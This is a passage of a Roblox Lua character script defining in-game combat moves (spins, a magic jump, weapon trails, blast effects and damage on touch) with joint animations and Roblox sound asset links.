3530 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3531 | end | |
3532 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
3533 | so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) | |
3534 | for i=0,1,0.05 do | |
3535 | swait() | |
3536 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
3537 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) | |
3538 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3539 | Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) | |
3540 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3541 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) | |
3542 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3543 | end | |
3544 | --dmgstop() | |
3545 | attack=false | |
3546 | con1:disconnect() | |
3547 | if TrailDeb == true then | |
3548 | TrailDeb = false | |
3549 | end | |
3550 | end | |
3551 | ||
3552 | function attackfour() | |
3553 | attack=true | |
3554 | if TrailDeb == false then | |
3555 | TrailDeb = true | |
3556 | end | |
3557 | ||
3558 | ||
3559 | coroutine.wrap(function() | |
3560 | local Old = Handle2.CFrame.p | |
3561 | while wait()do | |
3562 | if not TrailDeb then break end | |
3563 | local New = Handle2.CFrame.p | |
3564 | local Mag =(Old -New).magnitude | |
3565 | local Dis =(Old +New)/2 | |
3566 | local Trail = Instance.new("Part",Character) | |
3567 | Trail.Material = "Neon" | |
3568 | Trail.Anchored = true | |
3569 | Trail.CanCollide = false | |
3570 | Trail.BrickColor = TorsoColor | |
3571 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3572 | Trail.TopSurface = 0 | |
3573 | Trail.BottomSurface = 0 | |
3574 | Trail.formFactor = "Custom" | |
3575 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3576 | local ms = Instance.new("BlockMesh",Trail) | |
3577 | ms.Scale = Vector3.new(1,1,1) | |
3578 | local TM = Instance.new("CylinderMesh",Trail) | |
3579 | TM.Scale = Vector3.new(1,1,1) | |
3580 | Old = New | |
3581 | coroutine.wrap(function() | |
3582 | for i = 1,0,-0.1 do | |
3583 | wait() | |
3584 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3585 | end | |
3586 | Trail:remove() | |
3587 | end)() | |
3588 | coroutine.wrap(function() | |
3589 | for i = 1,10 do | |
3590 | wait() | |
3591 | Trail.Transparency = Trail.Transparency +0.1 | |
3592 | end end)()end end)() | |
3593 | coroutine.wrap(function() | |
3594 | local Old = Handle.CFrame.p | |
3595 | while wait()do | |
3596 | if not TrailDeb then break end | |
3597 | local New = Handle.CFrame.p | |
3598 | local Mag =(Old -New).magnitude | |
3599 | local Dis =(Old +New)/2 | |
3600 | local Trail = Instance.new("Part",Character) | |
3601 | Trail.Material = "Neon" | |
3602 | Trail.Anchored = true | |
3603 | Trail.CanCollide = false | |
3604 | Trail.BrickColor = TorsoColor | |
3605 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3606 | Trail.TopSurface = 0 | |
3607 | Trail.BottomSurface = 0 | |
3608 | Trail.formFactor = "Custom" | |
3609 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3610 | local ms = Instance.new("BlockMesh",Trail) | |
3611 | ms.Scale = Vector3.new(1,1,1) | |
3612 | local TM = Instance.new("CylinderMesh",Trail) | |
3613 | TM.Scale = Vector3.new(1,1,1) | |
3614 | Old = New | |
3615 | coroutine.wrap(function() | |
3616 | for i = 1,0,-0.1 do | |
3617 | wait() | |
3618 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3619 | end | |
3620 | Trail:remove() | |
3621 | end)() | |
3622 | coroutine.wrap(function() | |
3623 | for i = 1,10 do | |
3624 | wait() | |
3625 | Trail.Transparency = Trail.Transparency +0.1 | |
3626 | end end)()end end)() | |
3627 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3628 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3629 | for i=0,1,0.08 do | |
3630 | swait() | |
3631 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3632 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3633 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3634 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3635 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3636 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3637 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3638 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3639 | end | |
3640 | if anim then | |
3641 | anim.Disabled=true | |
3642 | end | |
3643 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) | |
3644 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) | |
3645 | for i=0,1,0.04 do | |
3646 | swait() | |
3647 | Torso.Velocity=RootPart.CFrame.lookVector*50 | |
3648 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) | |
3649 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3650 | Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3651 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3652 | RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3653 | LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3654 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3655 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3656 | end | |
3657 | --dmgstop() | |
3658 | attack=false | |
3659 | con1:disconnect() | |
3660 | con2:disconnect() | |
3661 | if anim then | |
3662 | anim.Disabled=false | |
3663 | end | |
3664 | if TrailDeb == true then | |
3665 | TrailDeb = false | |
3666 | end | |
3667 | end | |
3668 | ||
3669 | function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) | |
3670 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3671 | prt.Anchored = true | |
3672 | prt.CFrame = cframe | |
3673 | local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) | |
3674 | coroutine.resume(coroutine.create(function() | |
3675 | for i = 0, 1, 0.05 do | |
3676 | wait() | |
3677 | prt.Transparency = i | |
3678 | msh.Scale = msh.Scale + vt(x2, y2, z2) | |
3679 | end | |
3680 | prt.Parent = nil | |
3681 | end)) | |
3682 | end | |
3683 | ||
3684 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
3685 | for _, c in pairs(workspace:children()) do | |
3686 | local hum = c:findFirstChild("Humanoid") | |
3687 | if hum ~= nil then | |
3688 | local head = c:findFirstChild("Torso") | |
3689 | if head ~= nil then | |
3690 | local targ = head.Position - Part.Position | |
3691 | local mag = targ.magnitude | |
3692 | if mag <= magni and c.Name ~= Player.Name then | |
3693 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
3694 | end | |
3695 | end | |
3696 | end | |
3697 | end | |
3698 | end | |
3699 | ||
3700 | function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) | |
3701 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3702 | prt.Anchored = true | |
3703 | prt.CFrame = cframe | |
3704 | local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) | |
3705 | game:GetService("Debris"):AddItem(prt, 2) | |
3706 | coroutine.resume(coroutine.create(function(Part, Mesh) | |
3707 | for i = 0, 1, delay do | |
3708 | swait() | |
3709 | Part.CFrame = Part.CFrame | |
3710 | Part.Transparency = i | |
3711 | Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) | |
3712 | end | |
3713 | Part.Parent = nil | |
3714 | end), prt, msh) | |
3715 | end | |
3716 | ||
3717 | function MagicJump() | |
3718 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3719 | attack=true | |
3720 | mana=mana-25 | |
3721 | --[[ Humanoid.WalkSpeed = 0 | |
3722 | for i=0,1,0.01 do | |
3723 | swait() | |
3724 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) | |
3725 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) | |
3726 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
3727 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) | |
3728 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) | |
3729 | RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) | |
3730 | LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) | |
3731 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) | |
3732 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) | |
3733 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) | |
3734 | end]]-- | |
3735 | Humanoid.Jump = true | |
3736 | Torso.Velocity = vt(0, 150, 0) | |
3737 | Humanoid.WalkSpeed = 64 | |
3738 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3739 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3740 | for i=0,1,0.05 do | |
3741 | swait() | |
3742 | Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) | |
3743 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3744 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) | |
3745 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3746 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
3747 | RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
3748 | LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
3749 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
3750 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) | |
3751 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) | |
3752 | end | |
3753 | for i=0,1,0.02 do | |
3754 | swait() | |
3755 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
3756 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3757 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
3758 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
3759 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3760 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
3761 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3762 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
3763 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
3764 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3765 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3766 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3767 | end | |
3768 | Humanoid.WalkSpeed = 0 | |
3769 | swait(8) | |
3770 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3771 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3772 | local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) | |
3773 | if hit~=nil then | |
3774 | swait(2) | |
3775 | local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt()) | |
3776 | ref.Anchored=true | |
3777 | ref.CFrame=cf(pos) | |
3778 | game:GetService("Debris"):AddItem(ref,3) | |
3779 | for i=1,10 do | |
3780 | local Col=BrickColor.new("Really black") | |
3781 | local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3782 | groundpart.Anchored=true | |
3783 | groundpart.CanCollide=false | |
3784 | groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3785 | local Col2=TorsoColor | |
3786 | local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3787 | groundpart2.Anchored=true | |
3788 | groundpart2.CanCollide=false | |
3789 | groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3790 | game:GetService("Debris"):AddItem(groundpart,5) | |
3791 | game:GetService("Debris"):AddItem(groundpart2,5) | |
3792 | end | |
3793 | BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) | |
3794 | BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2) | |
3795 | MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05) | |
3796 | MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) | |
3797 | for i=0,1,0.06 do | |
3798 | swait() | |
3799 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) | |
3800 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3801 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) | |
3802 | RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) | |
3803 | LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) | |
3804 | RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3805 | LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3806 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3807 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3808 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3809 | end | |
3810 | end | |
3811 | swait(20) | |
3812 | Humanoid.WalkSpeed = 12 | |
3813 | --dmgstop() | |
3814 | attack=false | |
3815 | end | |
3816 | end | |
3817 | ||
3818 | function Spin() | |
3819 | attack=true | |
3820 | mana=mana-40 | |
3821 | if TrailDeb == false then | |
3822 | TrailDeb = true | |
3823 | end | |
3824 | ||
3825 | coroutine.wrap(function() | |
3826 | local Old = Handle2.CFrame.p | |
3827 | while wait()do | |
3828 | if not TrailDeb then break end | |
3829 | local New = Handle2.CFrame.p | |
3830 | local Mag =(Old -New).magnitude | |
3831 | local Dis =(Old +New)/2 | |
3832 | local Trail = Instance.new("Part",Character) | |
3833 | Trail.Material = "Neon" | |
3834 | Trail.Anchored = true | |
3835 | Trail.CanCollide = false | |
3836 | Trail.BrickColor = TorsoColor | |
3837 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3838 | Trail.TopSurface = 0 | |
3839 | Trail.BottomSurface = 0 | |
3840 | Trail.formFactor = "Custom" | |
3841 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3842 | local ms = Instance.new("BlockMesh",Trail) | |
3843 | ms.Scale = Vector3.new(1,1,1) | |
3844 | local TM = Instance.new("CylinderMesh",Trail) | |
3845 | TM.Scale = Vector3.new(1,1,1) | |
3846 | Old = New | |
3847 | coroutine.wrap(function() | |
3848 | for i = 1,0,-0.1 do | |
3849 | wait() | |
3850 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3851 | end | |
3852 | Trail:remove() | |
3853 | end)() | |
3854 | coroutine.wrap(function() | |
3855 | for i = 1,10 do | |
3856 | wait() | |
3857 | Trail.Transparency = Trail.Transparency +0.1 | |
3858 | end end)()end end)() | |
3859 | coroutine.wrap(function() | |
3860 | local Old = Handle.CFrame.p | |
3861 | while wait()do | |
3862 | if not TrailDeb then break end | |
3863 | local New = Handle.CFrame.p | |
3864 | local Mag =(Old -New).magnitude | |
3865 | local Dis =(Old +New)/2 | |
3866 | local Trail = Instance.new("Part",Character) | |
3867 | Trail.Material = "Neon" | |
3868 | Trail.Anchored = true | |
3869 | Trail.CanCollide = false | |
3870 | Trail.BrickColor = TorsoColor | |
3871 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3872 | Trail.TopSurface = 0 | |
3873 | Trail.BottomSurface = 0 | |
3874 | Trail.formFactor = "Custom" | |
3875 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3876 | local ms = Instance.new("BlockMesh",Trail) | |
3877 | ms.Scale = Vector3.new(1,1,1) | |
3878 | local TM = Instance.new("CylinderMesh",Trail) | |
3879 | TM.Scale = Vector3.new(1,1,1) | |
3880 | Old = New | |
3881 | coroutine.wrap(function() | |
3882 | for i = 1,0,-0.1 do | |
3883 | wait() | |
3884 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3885 | end | |
3886 | Trail:remove() | |
3887 | end)() | |
3888 | coroutine.wrap(function() | |
3889 | for i = 1,10 do | |
3890 | wait() | |
3891 | Trail.Transparency = Trail.Transparency +0.1 | |
3892 | end end)()end end)() | |
3893 | Footsteps:Stop() | |
3894 | Footsteps2:Stop() | |
3895 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3896 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3897 | so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) | |
3898 | for i=0,1,0.1 do | |
3899 | swait() | |
3900 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3901 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3902 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3903 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3904 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3905 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3906 | end | |
3907 | if anim then | |
3908 | anim.Disabled=true | |
3909 | end | |
3910 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3911 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3912 | for i=0,1,0.05 do | |
3913 | swait() | |
3914 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3915 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3916 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3917 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3918 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3919 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3920 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3921 | end | |
3922 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3923 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3924 | for i=0,1,0.05 do | |
3925 | swait() | |
3926 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3927 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3928 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3929 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3930 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3931 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3932 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3933 | end | |
3934 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
3935 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
3936 | for i=0,1,0.05 do | |
3937 | swait() | |
3938 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
3939 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
3940 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3941 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3942 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3943 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3944 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3945 | end | |
3946 | --dmgstop() | |
3947 | Humanoid.WalkSpeed=12 | |
3948 | attack=false | |
3949 | con1:disconnect() | |
3950 | con2:disconnect() | |
3951 | if anim then | |
3952 | anim.Disabled=false | |
3953 | end | |
3954 | if TrailDeb == true then | |
3955 | TrailDeb = false | |
3956 | end | |
3957 | end | |
3958 | ||
3959 | function Twirl() | |
3960 | mana=mana-50 | |
3961 | attack=true | |
3962 | if TrailDeb == false then | |
3963 | TrailDeb = true | |
3964 | end | |
3965 | ||
3966 | ||
3967 | coroutine.wrap(function() | |
3968 | local Old = Handle2.CFrame.p | |
3969 | while wait()do | |
3970 | if not TrailDeb then break end | |
3971 | local New = Handle2.CFrame.p | |
3972 | local Mag =(Old -New).magnitude | |
3973 | local Dis =(Old +New)/2 | |
3974 | local Trail = Instance.new("Part",Character) | |
3975 | Trail.Material = "Neon" | |
3976 | Trail.Anchored = true | |
3977 | Trail.CanCollide = false | |
3978 | Trail.BrickColor = TorsoColor | |
3979 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3980 | Trail.TopSurface = 0 | |
3981 | Trail.BottomSurface = 0 | |
3982 | Trail.formFactor = "Custom" | |
3983 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3984 | local ms = Instance.new("BlockMesh",Trail) | |
3985 | ms.Scale = Vector3.new(1,1,1) | |
3986 | local TM = Instance.new("CylinderMesh",Trail) | |
3987 | TM.Scale = Vector3.new(1,1,1) | |
3988 | Old = New | |
3989 | coroutine.wrap(function() | |
3990 | for i = 1,0,-0.1 do | |
3991 | wait() | |
3992 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3993 | end | |
3994 | Trail:remove() | |
3995 | end)() | |
3996 | coroutine.wrap(function() | |
3997 | for i = 1,10 do | |
3998 | wait() | |
3999 | Trail.Transparency = Trail.Transparency +0.1 | |
4000 | end end)()end end)() | |
4001 | coroutine.wrap(function() | |
4002 | local Old = Handle.CFrame.p | |
4003 | while wait()do | |
4004 | if not TrailDeb then break end | |
4005 | local New = Handle.CFrame.p | |
4006 | local Mag =(Old -New).magnitude | |
4007 | local Dis =(Old +New)/2 | |
4008 | local Trail = Instance.new("Part",Character) | |
4009 | Trail.Material = "Neon" | |
4010 | Trail.Anchored = true | |
4011 | Trail.CanCollide = false | |
4012 | Trail.BrickColor = TorsoColor | |
4013 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4014 | Trail.TopSurface = 0 | |
4015 | Trail.BottomSurface = 0 | |
4016 | Trail.formFactor = "Custom" | |
4017 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4018 | local ms = Instance.new("BlockMesh",Trail) | |
4019 | ms.Scale = Vector3.new(1,1,1) | |
4020 | local TM = Instance.new("CylinderMesh",Trail) | |
4021 | TM.Scale = Vector3.new(1,1,1) | |
4022 | Old = New | |
4023 | coroutine.wrap(function() | |
4024 | for i = 1,0,-0.1 do | |
4025 | wait() | |
4026 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4027 | end | |
4028 | Trail:remove() | |
4029 | end)() | |
4030 | coroutine.wrap(function() | |
4031 | for i = 1,10 do | |
4032 | wait() | |
4033 | Trail.Transparency = Trail.Transparency +0.1 | |
4034 | end end)()end end)() | |
4035 | Footsteps:Stop() | |
4036 | Footsteps2:Stop() | |
4037 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4038 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4039 | so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) | |
4040 | for i=0,1,0.1 do | |
4041 | swait() | |
4042 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
